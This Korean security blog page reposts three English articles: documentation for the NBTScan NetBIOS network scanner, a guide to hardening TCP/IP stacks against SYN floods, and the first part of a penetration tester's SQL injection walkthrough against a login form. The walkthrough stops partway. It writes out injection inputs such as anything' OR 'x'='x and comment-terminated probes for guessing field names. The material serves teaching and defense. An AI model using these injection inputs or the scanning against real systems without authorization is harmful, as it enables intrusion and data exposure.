이수안 데이터 연구실

검색 :
RSS 구독 : 글 / 댓글 / 트랙백 / 글+트랙백

Foundstone Free Tools

2009/01/21 15:24, 글쓴이
http://www.foundstone.com/

Assessment Utilities
FSCrack ?
이올린에 북마크하기(0) 이올린에 추천하기(0)
"Security" 카테고리의 다른 글
2009/01/21 15:24 2009/01/21 15:24

맨 위로

NBTScan. NetBIOS Name Network Scanner.

General Information

NBTscan is a program for scanning IP networks for NetBIOS name information. It sends NetBIOS status query to each address in supplied range and lists received information in human readable form. For each responded host it lists IP address, NetBIOS computer name, logged-in user name and MAC address.

Version 1.5 is now available. See Change Log for changes since previous release.

NBTscan compiles and runs on Unix and Windows. I have tested it on Windows NT 4.0, Windows 2000, FreeBSD 4.3, OpenBSD 2.8 and RedHat Linux 7.1 and 7.3. It should also compile and run on Solaris and other Linuxes as well.

Steve Coleman (Steve (dot) Coleman (at) jhuapl (dot) edu) ported previous versions of NBTscan to Solaris, HP-UX and OSF/1 and fixed several bugs. He reports that NBTscan also runs on IRIX/SGI with minor problems. I was also told that NBTscan runs on AIX (Antonio Dell'elce) and SunOS 4.1.3_U1 (Joe Cline). Mohammad A. Haque (mhaque (at) haque (dot) net) ported nbtscan to Darwin.

This program is a successor of a perl script with the same name and does essentially the same thing, being much faster though. NBTscan produces a report like that:

IP address       NetBIOS Name     Server    User             MAC address
------------------------------------------------------------------------------
192.168.1.2 MYCOMPUTER JDOE 00-a0-c9-12-34-56
192.168.1.5 WIN98COMP <server> RROE 00-a0-c9-78-90-00
192.168.1.123 DPTSERVER <server> ADMINISTRATOR 08-00-09-12-34-56

First column lists IP address of responded host. Second column is computer name. Third column indicates if this computer shares or is able to share files or printers. For NT machine it means that Server Service is running on this computer. For Windows 95 it means that "I want to be able to give others access to my files" or "I want to be able to allow others to print on my printer(s)" checkbox is ticked (in Control Panel/Network/File and Print Sharing). Most often it means that this computer shares files. Third column shows user name. If no one is logged on from this computer it is same as computer name. Last column shows adapter MAC address.

If run with -v switch NBTscan lists whole NetBIOS name table for each responded address. The output looks like that:

NetBIOS Name Table for Host 192.168.1.123:

Name Service Type
----------------------------------------
DPTSERVER <00> UNIQUE
DPTSERVER <20> UNIQUE
DEPARTMENT <00> GROUP
DEPARTMENT <1c> GROUP
DEPARTMENT <1b> UNIQUE
DEPARTMENT <1e> GROUP
DPTSERVER <03> UNIQUE
DEPARTMENT <1d> UNIQUE
??__MSBROWSE__? <01> GROUP
INet~Services <1c> GROUP
IS~DPTSERVER <00> UNIQUE
DPTSERVER <01> UNIQUE

Adapter address: 00-a0-c9-12-34-56
----------------------------------------

FAQ

Where can I get NBTscan?

Download it from http://www.inetcat.net/software/nbtscan.html . I used to have inetcat.org domain but it was grabbed by cybersquatters, so I had to move to inetcat.net.

Is there source code available ?

Yes. Same as above.

NBTscan lists my Windows boxes just fine but does not list my unixes or routers. Why?

That is the way it is supposed to work. NBTscan uses NetBIOS for scanning and NetBIOS is only implemented by Windows (and some software on Unix such as Samba)

I get some error message on a certain operating system while compiling or running NBTscan. What can I do?

If you get errors compiling there is not much I can help you with. I don't have every possible version of every possible OS, so I wouldn't be able to reproduce your problem. Try to figure out what is going wrong, make a patch and send it to me. :)

If you get unexpected results running nbtscan and you think it is a bug, send me a bug report. Describe your environment (OS, version of nbtscan, how big the network you are scanning is, are there any firewalls on the way) and make a packet dump if possible. Comparing the results produced by nbtscan with results of nbtstat -a (Windows utility) also helps to find the problem. If you get same results from nbtscan and nbtstat, this probably means that the problem is in the network setup, not in nbtscan.

Are there any docs in Russian?

No. I am too lazy to do translation. If you are willing to translate docs to Russian or any other language for that matter, you are more than welcome.

How do I write NBTscan output into a file?

Just like any other program:

nbtscan 123.45.67.89 > filename

Works on both Unix and Windows.

How do I make NBTscan write its output one screen at a time?

Just like any other program:

 nbtscan 123.45.67.89 | more 

Works on both Unix and Windows.

How do I export NBTscan output into an Excel file?

Run nbtscan with "-s ," option (script-friendly output, use comma as a field separator) and open the resulting file in Excel.

Why do I get "Connection reset by peer" errors on Windows 2000?

NBTscan uses port 137 UDP for sending queries. If the port is closed on destination host destination will reply with ICMP "Port unreachable" message. Most operating system will ignore this message. Windows 2000 reports it to the application as "Connection reset by peer" error. Just ignore it.

Is there a GUI for nbtscan?

Yes. There are a couple of different GUIs sent to me by different people at different times. Warning: I got this software at different times from different people. I didn't test it and I didn't read the source code. I don't know if it works and what it does when it works, so don't blame me if it does something completely awfull to you or your computer. You have been warned.

  • Use42 by Peter Feil (peter (dot) feil (at) one2many (dot) de) Use42 is a GUI wrapper form enum (by Jordan Ritter BindViewRazor), nbtscan (by me) and ipeye (by Arne Vidstrom). Runs on Windows.The author does not provide any source code. You can download it here.
  • gui.exe was sent to me by r_i_c_h (at) btinternet (dot) com. It is a Windows GUI for nbtscan. r_i_c_h said he got it from someone else but lost the sources. You can download it here.
  • xNBTscan was contributed by Brian (daten (at) dnetc (dot) org) and is a GTK2-base GUI for X. You can get it from here.

Why nbtscan doesn't scan for shares? Are you going to add share scanning to nbtscan?

No. NBTscan uses UDP for what it does. That makes it very fast. Share scanning requires TCP. For one thing, it will make nbtscan more slow. Also adding share scanning means adding a lot of new code to nbtscan. There is a lot of good share scanners around, so I see no reason to duplicate that work.

Why do I get 00-00-00-00-00-00 instead of MAC address when I scan a Samba box?

Because that's what Samba send in response to the query. Nbtscan just prints out what it gets.

Usage

NBTscan is a command-line tool. You have to supply at least one argument - address range in one of three forms:

xxx.xxx.xxx.xxx Single IP in dotted-decimal notation. Example: 192.168.1.1.
xxx.xxx.xxx.xxx/xx Net address and subnet mask. Example: 192.168.1.0/24
xxx.xxx.xxx.xxx-xxx Address range. Example: 192.168.1.1-127. This will scan all addresses from 192.168.1.1 to 192.168.1.127.

It also understands the following switches:

>nbtscan -f my_ips.txt <output depends on other options>
Option Meaning Usage example
-v verbose output. Print all names received from each host
>nbtscan -v 192.168.1.123
NetBIOS Name Table for Host 192.168.1.123:

Name Service Type
----------------------------------------
DPTSERVER <00> UNIQUE
DPTSERVER <20> UNIQUE
DEPARTMENT <00> GROUP
DPTSERVER <03> UNIQUE
DPTSERVER <01> UNIQUE

Adapter address: 00-a0-c9-12-34-56
----------------------------------------
-d dump packets. Print whole packet contents. Cannot be used with -v, -s or -h options.
>nbtscan -d 192.168.1.123

Packet dump for Host 192.186.1.2:

Transaction ID: 0x02e9 (745)
Flags: 0x8400 (33792)
Question count: 0x0000 (0)
Answer count: 0x0001 (1)
Name service count: 0x0000 (0)
Additional record count: 0x0000 (0)
Question name: CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Question type: 0x0021 (33)
Question class: 0x0001 (1)
Time to live: 0x00000000 (0)
Rdata length: 0x0089 (137)
Number of names: 0x05 (5)
<skipped lots of data>
-e Format output in /etc/hosts format.
> ./nbtscan -e 192.168.75.0/28
192.168.75.2 M3I4W6
192.168.75.3 BOCKSTAEL
192.168.75.4 PCROGER
192.168.75.6 R392900055
192.168.75.12 SONY
192.168.75.13 DSNRVTWF
192.168.75.14 G8F8N7
192.168.75.15 VAIO

-l Format output in lmhosts format.
> ./nbtscan -e 192.168.75.0/28
192.168.75.2 M3I4W6 #PRE
192.168.75.3 BOCKSTAEL #PRE
192.168.75.4 PCROGER #PRE
192.168.75.6 R392900055 #PRE
192.168.75.12 SONY #PRE
192.168.75.13 DSNRVTWF #PRE
192.168.75.14 G8F8N7 #PRE
192.168.75.15 VAIO #PRE

-t timeout wait timeout seconds for response. Default 1.
>nbtscan -d 192.168.1.123
<output depends on other options>
-b bandwidth Output throttling. Slow down packet output so that it uses no more that bandwidth bps. Useful on slow links, so that ougoing queries don't get dropped.
>nbtscan -b 28800 192.168.1.123
<output depends on other options>
-r use local port 137 for scans. Win95 boxes respond to this only. You need to be root to use this option on Unix.
>nbtscan -r 192.168.1.123
<output depends on other options>
-q Suppress banners and error messages
>nbtscan -q 192.168.1.123
<output depends on other options>
-s separator Script-friendly output. Don't print column and record headers, separate fields with separator.
>nbtscan -s : 192.168.1.1-24
192.168.1.1:DIRDY-BIRDY :<server>:JOED :00-a0-c9-12-34-56
192.168.1.4:MIGHTY :<server<:JPSMITH :00-aa-00-78-90-12
192.168.1.5:BUGS-BUNNY :<server<:OUR_ADMIN :00-aa-00-34-56-78
192.168.1.19:DEFENDER :<server<:PETERA :00-60-b0-90-12-34

>nbtscan -s : -v 192.168.1.1
194.186.12.236:DIRDY-BIRDY :00U
194.186.12.236:COMPANY__COM :00G
194.186.12.236:DIRDY-BIRDY :20U
194.186.12.236:DIRDY-BIRDY :03U
194.186.12.236:COMPANY__COM :1eG
194.186.12.236:JOED :03U
194.186.12.236:MAC:00-a0-c9-12-34-56
-h Print human-readble names for services. Can only be used with -v option.
>nbtscan -s : -h -v 192.168.1.1
194.186.12.236:DIRDY-BIRDY :Workstation Service
194.186.12.236:COMPANY__COM :Domain Name
194.186.12.236:DIRDY-BIRDY :File Server Service
194.186.12.236:DIRDY-BIRDY :Messenger Service
194.186.12.236:COMPANY__COM :Browser Service Elections
194.186.12.236:JOED :Messenger Service
194.186.12.236:MAC:00-a0-c9-12-34-56
-m retransmits Number of retransmits. Default 0.
>nbtscan -m 2 192.168.1.123
<output depends on other options>
-f filename Take IP addresses to scan from file filename

Installation

Installing from Win32 binaries

  1. Download zip archive
  2. Unpack it
  3. Put nbtscan.exe and cygwin1.dll to directory in your PATH, such as winnt/system32
  4. That's all. Now you can run nbtscan from command prompt.

Installing from sources on Windows

  1. Download and install Cygwin from http://sources.redhat.com/cygwin/
  2. Start Cygwin shell and proceed from there as in Unix installation

Installing from sources under Unix

  1. Ungzip and untar sources
  2. Run ./configure script
  3. Run make and make install
  4. That's all.

Perl version of NBTscan

NBTscan was first written in Perl. It is much more slow then its C cousin, and has less options, but it has an advantage also: Windows Perl script is able to receive responses from Windows 95 sent to port 137. So if you really have to scan Windows 95 boxes from Windows you can download and use Perl NBTscan. There is also a IpInfo (Perl script too) which runs both on NT and Unix, and gives some additional info (such as DNS host name). It was created by Steve Coleman.

Reporting bugs, sending comments, etc.

You can report bugs to the author (hey, that's me) alla (at) inetcat (dot) org. I am not promising to do anything about it, but I may well want to fix them. I shall also appreciate comments and suggestions. If you have somehow enhanced this program - send me a copy or a patch.

이올린에 북마크하기(0) 이올린에 추천하기(0)
"Scanning" 카테고리의 다른 글
2007/07/18 13:55 2007/07/18 13:55

맨 위로

Unix/Linux ?댄

2007/07/06 17:50, 글쓴이
이올린에 북마크하기(0) 이올린에 추천하기(0)
"Security" 카테고리의 다른 글
2007/07/06 17:50 2007/07/06 17:50

맨 위로

Hardening the TCP/IP stack to SYN attacks

Mariusz Burdach 2003-09-10


Most people know how problematic protection against SYN denial of service attacks can be. Several methods, more or less effective, are usually used. In almost every case proper filtering of packets is a viable solution. In addition to creating packet filters, the modification of the TCP/IP stack of a given operating system can be performed by an administrator. This method, the tuning of the TCP/IP stack in various operating systems, will be described in depth in this article.

While SYN attacks may not be entirely preventable, tuning the TCP/IP stack will help reduce the impact of SYN attacks while still allowing legitimate client traffic through. It should be noted that some SYN attacks do not always attempt to upset servers, but instead try to consume all of the bandwidth of your Internet connection. This kind of flood is outside the scope of scope of this article, as is the filtering of packets which has been discussed elsewhere.

What can an administrator do when his servers are under a classic, non-bandwidth flooding SYN attack? One of most important steps is to enable the operating system's built-in protection mechanisms like SYN cookies or SynAttackProtect. Additionally, in some cases it is worth tuning parameters of the TCP/IP stack. Changing the default values of stack variables can be another layer of protection and help better secure your hosts. In this paper I will concentrate on:

  • Increasing the queue of half-open connections (in the SYN RECEIVED state).
  • Decreasing the time period of keeping a pending connection in the SYN RECEIVED state in the queue. This method is accomplished by decreasing the time of the first packet retransmission and by either decreasing the number of packet retransmissions or by turning off packet retransmissions entirely. The process of packet retransmissions is performed by a server when it doesn't receive an ACK packet from a client. A Packet with the ACK flag finalizes the process of the three-way handshake

Note that an attacker can simply send more packets with the SYN flag set and then the above tasks will not solve the problem. However, we can still increase the likelihood of creating a full connection with legitimate clients by performing the above operations.

We should remember that our modification of variables will change the behavior of the TCP/IP stack. In some cases the values can be too strict. So, after the modification we have to make sure that our server can properly communicate with other hosts. For example, the disabling of packet retransmissions in some environments with low bandwidth can cause a legitimate request to fail. In this article you will find a description of the TCP/IP variables for the fallowing operating systems: Microsoft Windows 2000, RedHat Linux 7.3, Sun Solaris 8 and HP-UX 11.00. These variables are similar or the same in current releases.

Definitions: SYN flooding and SYN spoofing

A SYN flood is a type of Denial of Service attack. We can say that a victim host is under a SYN flooding attack when an attacker tries to create a huge amount of connections in the SYN RECEIVED state until the backlog queue has overflowed. The SYN RECEIVED state is created when the victim host receives a connection request (a packet with SYN flag set) and allocates for it some memory resources. A SYN flood attack creates so many half-open connections that the system becomes overwhelmed and cannot handle incoming requests any more. To increase an effectiveness of a SYN flood attack, an attacker spoofs source IP addresses of SYN packets. In this case the victim host cannot finish the initialization process in a short time because the source IP address can be unreachable. This malicious operation is called a SYN spoofing attack.

We need to know that the process of creating a full connection takes some time. Initially, after receiving a connection request (a packet with SYN flag set), a victim host puts this half-open connection to the backlog queue and sends out the first response (a packet with SYN and ACK flags set). When the victim does not receive a response from a remote host, it tries to retransmit this SYN+ACK packet until it times out, and then finally removes this half-open connection from the backlog queue. In some operating systems this process for a single SYN request can take about 3 minutes! In this document you will learn how to change this behavior. The other important information you need to know is that the operating system can handle only a defined amount of half-open connections in the backlog queue. This amount is controlled by the size of the backlog queue. For instance, the default backlog size is 256 for RedHat 7.3 and 100 for Windows 2000 Professional. When this size is reached, the system will no longer accept incoming connection requests.

How to detect a SYN attack

It is very simple to detect SYN attacks. The netstat command shows us how many connections are currently in the half-open state. The half-open state is described as SYN_RECEIVED in Windows and as SYN_RECV in Unix systems.

# netstat -n -p TCP

tcp 0 0 10.100.0.200:21 237.177.154.8:25882 SYN_RECV -
tcp 0 0 10.100.0.200:21 236.15.133.204:2577 SYN_RECV -
tcp 0 0 10.100.0.200:21 127.160.6.129:51748 SYN_RECV -
tcp 0 0 10.100.0.200:21 230.220.13.25:47393 SYN_RECV -
tcp 0 0 10.100.0.200:21 227.200.204.182:60427 SYN_RECV -
tcp 0 0 10.100.0.200:21 232.115.18.38:278 SYN_RECV -
tcp 0 0 10.100.0.200:21 229.116.95.96:5122 SYN_RECV -
tcp 0 0 10.100.0.200:21 236.219.139.207:49162 SYN_RECV -
tcp 0 0 10.100.0.200:21 238.100.72.228:37899 SYN_RECV -
...


We can also count how many half-open connections are in the backlog queue at the moment. In the example below, 769 connections (for TELNET) in the SYN RECEIVED state are kept in the backlog queue.

# netstat -n -p TCP | grep SYN_RECV | grep :23 | wc -l  769  


The other method for detecting SYN attacks is to print TCP statistics and look at the TCP parameters which count dropped connection requests. While under attack, the values of these parameters grow rapidly.

In this example we watch the value of the TcpHalfOpenDrop parameter on a Sun Solaris machine.

# netstat -s -P tcp | grep tcpHalfOpenDrop          tcpHalfOpenDrop     =   473  


It is important to note that every TCP port has its own backlog queue, but only one variable of the TCP/IP stack controls the size of backlog queues for all ports.

The backlog queue

The backlog queue is a large memory structure used to handle incoming packets with the SYN flag set until the moment the three-way handshake process is completed. An operating system allocates part of the system memory for every incoming connection. We know that every TCP port can handle a defined number of incoming requests. The backlog queue controls how many half-open connections can be handled by the operating system at the same time. When a maximum number of incoming connections is reached, subsequent requests are silently dropped by the operating system. As mentioned before, when we detect a lot of connections in the SYN RECEIVED state, host is probably under a SYN flooding attack. Moreover, the source IP addresses of these incoming packets can be spoofed. To limit the effects of SYN attacks we should enable some built-in protection mechanisms. Additionally, we can sometimes use techniques such as increasing the backlog queue size and minimizing the total time where a pending connection in kept in allocated memory (in the backlog queue).

Built-in protection mechanisms

Operating system: Windows 2000

The most important parameter in Windows 2000 and also in Windows Server 2003 is SynAttackProtect. Enabling this parameter allows the operating system to handle incoming connections more efficiently. The protection can be set by adding a SynAttackProtect DWORD value to the following registry key:

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters  


In general, when a SYN attack is detected the SynAttackProtect parameter changes the behavior of the TCP/IP stack. This allows the operating system to handle more SYN requests. It works by disabling some socket options, adding additional delays to connection indications and changing the timeout for connection requests.

When the value of SynAttackProtect is set to 1, the number of retransmissions is reduced and according to the vendor, the creation of a route cache entry is delayed until a connection is made. The recommended value of SynAttackProtect is 2, which additionally delays the indication of a connection to the Windows Socket until the three-way handshake is completed. During an attack, better performance in handling connections is achieved by disabling the use of a few parameters (these parameters are usually used by the system during the process of creating new connections). The TCPInitialRTT parameter, which defines the time of the first retransmission, will no longer work. It's impossible to negotiate the window size value. Also, the scalable windows option is disabled on any socket.

As we can see, by enabling the SynAttackProtect parameter we don't change the TCP/IP stack behavior until under a SYN attack. But even then, when SynAttackProtect starts to operate, the operating system can handle legitimate incoming connections.

The operating system enables protection against SYN attacks automatically when it detects that values of the following three parameters are exceeded. These parameters are TcpMaxHalfOpen, TcpMaxHalfOpenRetried and TcpMaxPortsExhausted.

To change the values of these parameters, first we have to add them to the same registry key as we made for SynAttackProtect.

The TcpMaxHalfOpen registry entry defines the maximum number of SYN RECEIVED states which can be handled concurrently before SYN protection starts working. The recommended value of this parameter is 100 for Windows 2000 Server and 500 for Windows 2000 Advanced Server.

TcpMaxHalfOpenRetried defines the maximum number of half-open connections, for which the operating system has performed at least one retransmission, before SYN protection begins to operate. The recommended value is 80 for Windows 2000 Server, and 400 for Advanced Server.

The TcpMaxPortsExhausted registry entry defines the number of dropped SYN requests, after which the protection against SYN attacks starts to operate. Recommended value is 5.

Subkey Registry Value Entry Format Value
EnableDynamicBacklog DWORD 1
MinimumDynamicBacklog DWORD 20
MaximumDynamicBacklog DWORD 20000
DynamicBacklogGrowthDelta DWORD 10
Operating system: Linux RedHat

RedHat,like other Linux operating systems, has implemented a SYN cookies mechanism which can be enabled in the following way:

# echo 1 > /proc/sys/net/ipv4/tcp_syncookies  


Note that to make this change permanent we need to create a startup file that sets this variable. We must do the same operation for other UNIX variables described in this paper because the values for these variables will return to default upon system reboot.

SYN cookies protection is especially useful when the system is under a SYN flood attack and source IP addresses of SYN packets are also forged (a SYN spoofing attack). This mechanism allows construction of a packet with the SYN and ACK flags set and which has a specially crafted initial sequence number (ISN), called a cookie. The value of the cookie is not a pseudo-random number generated by the system but instead is the result of a hash function. This hash result is generated from information like: source IP, source port, destination IP, destination port plus some secret values. During a SYN attack the system generates a response by sending back a packet with a cookie, instead of rejecting the connection when the SYN queue is full. When a server receives a packet with the ACK flag set (the last stage of the three-way handshake process) then it verifies the cookie. When its value is correct, it creates the connection, even though there is no corresponding entry in the SYN queue. Then we know that it is a legitimate connection and that the source IP address was not spoofed. It is important to note that the SYN cookie mechanism works by not using the backlog queue at all, so we don't need to change the backlog queue size. More information about SYN cookies can be found at http://cr.yp.to/syncookies.html.

Also note that the SYN cookies mechanism works only when the CONFIG_SYNCOOKIES option is set during kernel compilation.

The next section will describe other useful methods of protection against SYN attacks. I would like to emphasize that under heavy SYN attacks (like Distributed SYN flooding attack) these methods may help but still not solve the problem.

Increasing the backlog queue

Under a SYN attack, we can modify the backlog queue to support more connections in the half-open state without denying access to legitimate clients. In some operating systems, the value of the backlog queue is very low and vendors often recommend increasing the SYN queue when a system is under attack. Increasing the backlog queue size requires that a system reserve additional memory resources for incoming requests. If a system has not enough memory for this operation, it will have an impact on system performance. We should also make sure that network applications like Apache or IIS can accept more connections.

Operating system: Windows 2000

Aside from described above TcpMaxHalfOpen and TcpMaxHalfOpenRetried variables, in Windows 2000 the number of connections handled in the half-open state can be set through a dynamic backlog. Configuration of this dynamic backlog is accomplished via the AFD.SYS driver. This kernel-mode driver is used to support Windows Socket applications like FTP and Telnet. To increase the number of half-open connections, AFD.SYS provides four registry entries. All of these values, corresponding to AFD.SYS, are located under the following registry key:

HKLM\System\CurrentControlSet\Services\AFD\Parameters


The EnableDynamicBacklog registry value is a global switch to enable or disable a dynamic backlog. Setting it to 1 enables the dynamic backlog queue.

MinimumDynamicBacklog controls the minimum number of free connections allowed on a single TCP port. If the number of free connections drops below this value, then additional free connections are created automatically. Recommended value is 20.

The MaximumDynamicBacklog registry value defines the sum of active half-open connections and the maximum number of free connections. When this value is exceeded, no more free connections will be created by a system. Microsoft suggests that this value should not exceed 20000.

The last DynamicBacklogGrowthDelta parameter controls the number of free connections to be created when additional connections are necessary. Recommended value: 10.

The table below shows the recommended values for the AFD.SYS driver:


Operating system: Linux


A tcp_max_syn_backlog variable defines how many half-open connections can be kept by the backlog queue. For instance 256 is a total number of half-open connections handled in memory by Linux RedHat 7.3. The TCP/IP stack variables can be configured by sysctl or standard Unix commands. The following example shows how to change the default size of the backlog queue by the sysctl command:

# sysctl -w net.ipv4.tcp_max_syn_backlog="2048"  


Operating system: Sun Solaris

In Sun Solaris there are two parameters which control the maximum number of connections. The first parameter controls the total number of full connections. The second tcp_conn_req_max_q0 parameter defines how many half-open connections are allowed without the dropping of incoming requests. In Sun Solaris 8, the default value is set to 1024. Using the ndd command we can modify this value.

# ndd -set /dev/tcp tcp_conn_req_max_q0 2048  


Operating system: HP-UX

In HP-UX, a tcp_syn_rcvd_max TCP/IP stack variable is responsible for control of the maximum number of half-open connections in the SYN RECEIVE state. In HP-UX 11.00 this value is set to 500. We can change this value by using the ndd command, similar to the one used in a Sun Solaris system.

# ndd -set /dev/tcp tcp_syn_rcvd_max 2048  


Decreasing total time of handling connection request

As we know, SYN flooding/spoofing attacks are simply a series of SYN packets, mostly from forged IP addresses. In the last section we tried to increase the backlog queue. Now that our systems can handle more SYN requests, we should decrease the total time we keep half-open connections in the backlog queue. When a server receives a request, it immediately sends a response with the SYN and ACK flags set, puts this half-open connection into the backlog queue, and then waits for a packet with the ACK flag set from the client. When no response is received from the client, the server retransmits a response packet (with the SYN and ACK flags set) several times (depending on default value in each operating system) by giving the client a chance to send the ACK packet again. It is clear that when the source IP address of client was spoofed, the ACK packet will never arrive. After a few minutes the server removes this half-open connection. We can speed up this time of removing connections in the SYN RECEIVED state from the backlog queue by changing time of first retransmission and by changing the total number of retransmissions. Another technique of protection against SYN attacks is switching off some TCP parameters that are always negotiated during the three-way handshake process. Some of these parameters are automatically turned off by mechanisms described in the first section (SynAttackProtect and Syncookies).

Now, I will describe TCP/IP stack variables which allow a decrease in the time half-open connections are kept in the backlog queue.

Operating system: Windows 2000

In Windows 2000, the default time for a first retransmission is set to 3 seconds (3000 milliseconds) and can be changed by modifying the value of the TcpInitialRtt registry entry (for every interface). For example, to decrease time of a first retransmission to 2 seconds we have to set this registry value to 2000 milliseconds in decimal format. The number of retransmissions (packets with the SYN and ACK flags set) is controlled by a TcpMaxConnectResponseRetransmissions registry parameter which has to be added to HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters registry key.

The table below contains a few examples of values and corresponding times for keeping half-open connections in the backlog queue (the time of a first retransmission is set to 3 seconds).


Value Time of retransmission Total time to keep half-open connections in the backlog queue
1 in 3rd second 9 seconds
2 in 3rd and 9th second 21 seconds
3 in 3rd , 9th and 21st second 45 seconds


We can set this registry value to 0, whereby Windows doesn't try to retransmit packets at all. In this case, the system sends only one response and cancels the half-open connection after 3 seconds. This setting is ignored when its value is equal or greater than 2 and when SynAttackProtect is enabled.

Operating system: Linux RedHat


A tcp_synack_retries variable is responsible for controlling the number of retransmissions in Linux operating system. Its default value is set to 5 for most Linux operating systems, which causes the half-open connection to be removed after 3 minutes. In the below table there are calculations for other values.

Value Time of retransmission Total time to keep half-open connections in the backlog queue
1 in 3rd second 9 seconds
2 in 3rd and 9th second 21 seconds
3 in 3rd , 9th and 21st second 45 seconds


Operating system: Sun Solaris


In this operating system it is impossible to turn off retransmissions of packets directly using the ndd command. Moreover, in Sun Solaris there are parameters which are non-configurable by ndd and which control the number of retransmissions (at least 3) and total time of packet retransmissions (at least 3 minutes). More information about these parameters can be found in the "Solaris 2.x - Tuning Your TCP/IP stack and More" document.

Operating system: HP-UX

For HP-UX, the time spent handling half-open connections in the backlog queue is controlled by the tcp_ip_abort_cinterval parameter. By using the ndd command we can define how long a HP-UX operating system will be waiting for the ACK packet. We can control how many retransmissions will be performed indirectly by changing this value. Have a look at the table below.

Value Time of retransmission Total time to keep half-open connections in the backlog queue
1000 - 1 second
5000 in 2nd second 5 seconds
10000 in 2nd and 5th second 10 seconds
60000 In 2nd, 5th, 11th, 23rd and 47th second 1 minute

We can change the time of a first retransmission by modifying tcp_rexmit_interval_initial. Intervals of subsequent retransmissions are controlled by two parameters: tcp_rexmit_interval and tcp_rexmit_interval_min. These three variables are the same as in a Sun Solaris operating system.

Summary

The methods of hardening the TCP/IP stack that are presented in this article make servers more resistant to SYN flooding and SYN spoofing - Denial of Service attacks. A modification of your default TCP/IP stack settings is also recommended during the process of securing of the operating system.


Mariusz Burdach is a computer security consultant who specializes in vulnerability assessment, intrusion detection and computer forensics. During the last few years he has worked as a consultant in the European Network Security Institute where he conducted penetration tests, vulnerability assessments and security audits for Internet banks, government and financial institutions in Poland. He is co-author of the Solaris Security Administrator's Guide, a step-by-step guide to securing SUN's Solaris operating system. Comments on this article are appreciated, send them to M_Burdach@compfort.pl.



References

  • "Microsoft Windows 2000 TCP/IP Implementation Details"
  • "How To: Harden the TCP/IP Stack Against Denial of Service Attacks in Windows 2000"
  • "How To: Harden the TCP/IP Stack Against Denial of Service Attacks in Windows Server 20003"
  • "Solaris[tm] Operating Environment Network Settings for Security"
  • "Building a bastion host using hp-ux 11"
  • "Solaris 2.x - Tuning Your TCP/IP Stack and More"
  • SYN cookies mechanism
  • Phrack Magazine 48 "Project Neptune"
  • "G.E.N.E.S.I.S"
  • "Distributed Reflection Denial of Service"


Privacy Statement
Copyright 2006, SecurityFocus


?
이올린에 북마크하기(0) 이올린에 추천하기(0)
"Spoofing" 카테고리의 다른 글
2007/06/18 10:24 2007/06/18 10:24

맨 위로

?

2007/05/10 10:34, 글쓴이
?
이올린에 북마크하기(0) 이올린에 추천하기(0)
"Security" 카테고리의 다른 글
2007/05/10 10:34 2007/05/10 10:34

맨 위로

SQL Injection Attacks by Example

2007/04/30 00:28, 글쓴이

Introduction

A customer asked that we check out his intranet site, which was used by the company's employees and customers. This was part of a larger security review, and though we'd not actually used SQL injection to penetrate a network before, we were pretty familiar with the general concepts. We were completely successful in this engagement, and wanted to recount the steps taken as an illustration.

"SQL Injection" is subset of the an unverified/unsanitized user input vulnerability ("buffer overflows" are a different subset), and the idea is to convince the application to run SQL code that was not intended. If the application is creating SQL strings naively on the fly and then running them, it's straightforward to create some real surprises.

We'll note that this was a somewhat winding road with more than one wrong turn, and others with more experience will certainly have different -- and better -- approaches. But the fact that we were successful does suggest that we were not entirely misguided.

There have been other papers on SQL injection, including some that are much more detailed, but this one shows the rationale of discovery as much as the process of exploitation.

The Target Intranet

This appeared to be an entirely custom application, and we had no prior knowledge of the application nor access to the source code: this was a "blind" attack. A bit of poking showed that this server ran Microsoft's IIS 6 along with ASP.NET, and this suggested that the database was Microsoft's SQL server: we believe that these techniques can apply to nearly any web application backed by any SQL server.

The login page had a traditional username-and-password form, but also an email-me-my-password link; the latter proved to be the downfall of the whole system.

When entering an email address, the system presumably looked in the user database for that email address, and mailed something to that address. Since my email address is not found, it wasn't going to send me anything.

So the first test in any SQL-ish form is to enter a single quote as part of the data: the intention is to see if they construct an SQL string literally without sanitizing. When submitting the form with a quote in the email address, we get a 500 error (server failure), and this suggests that the "broken" input is actually being parsed literally. Bingo.

We speculate that the underlying SQL code looks something like this:

Here, $EMAIL is the address submitted on the form by the user, and the larger query provides the quotation marks that set it off as a literal string. We don't know the specific names of the fields or table involved, but we do know their nature, and we'll make some good guesses later.

When we enter steve@unixwiz.net' - note the closing quote mark - this yields constructed SQL:

when this is executed, the SQL parser find the extra quote mark and aborts with a syntax error. How this manifests itself to the user depends on the application's internal error-recovery procedures, but it's usually different from "email address is unknown". This error response is a dead giveaway that user input is not being sanitized properly and that the application is ripe for exploitation.

Since the data we're filling in appears to be in the WHERE clause, let's change the nature of that clause in an SQL legal way and see what happens. By entering anything' OR 'x'='x, the resulting SQL is:

Because the application is not really thinking about the query - merely constructing a string - our use of quotes has turned a single-component WHERE clause into a two-component one, and the 'x'='x' clause is guaranteed to be true no matter what the first clause is (there is a better approach for this "always true" part that we'll touch on later).

But unlike the "real" query, which should return only a single item each time, this version will essentially return every item in the members database. The only way to find out what the application will do in this circumstance is to try it. Doing so, we were greeted with:

Our best guess is that it's the first record returned by the query, effectively an entry taken at random. This person really did get this forgotten-password link via email, which will probably come as surprise to him and may raise warning flags somewhere.

We now know that we're able to manipulate the query to our own ends, though we still don't know much about the parts of it we cannot see. But we have observed three different responses to our various inputs:

  • "Your login information has been mailed to email"
  • "We don't recognize your email address"
  • Server error

The first two are responses to well-formed SQL, while the latter is for bad SQL: this distinction will be very useful when trying to guess the structure of the query.

Schema field mapping

The first steps are to guess some field names: we're reasonably sure that the query includes "email address" and "password", and there may be things like "US Mail address" or "userid" or "phone number". We'd dearly love to perform a SHOW TABLE, but in addition to not knowing the name of the table, there is no obvious vehicle to get the output of this command routed to us.

So we'll do it in steps. In each case, we'll show the whole query as we know it, with our own snippets shown specially. We know that the tail end of the query is a comparison with the email address, so let's guess email as the name of the field:

The intent is to use a proposed field name (email) in the constructed query and find out if the SQL is valid or not. We don't care about matching the email address (which is why we use a dummy 'x'), and the -- marks the start of an SQL comment. This is an effective way to "consume" the final quote provided by application and not worry about matching them.

If we get a server error, it means our SQL is malformed and a syntax error was thrown: it's most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly. This is the case whether we get the "email unknown" or "password was sent" response.

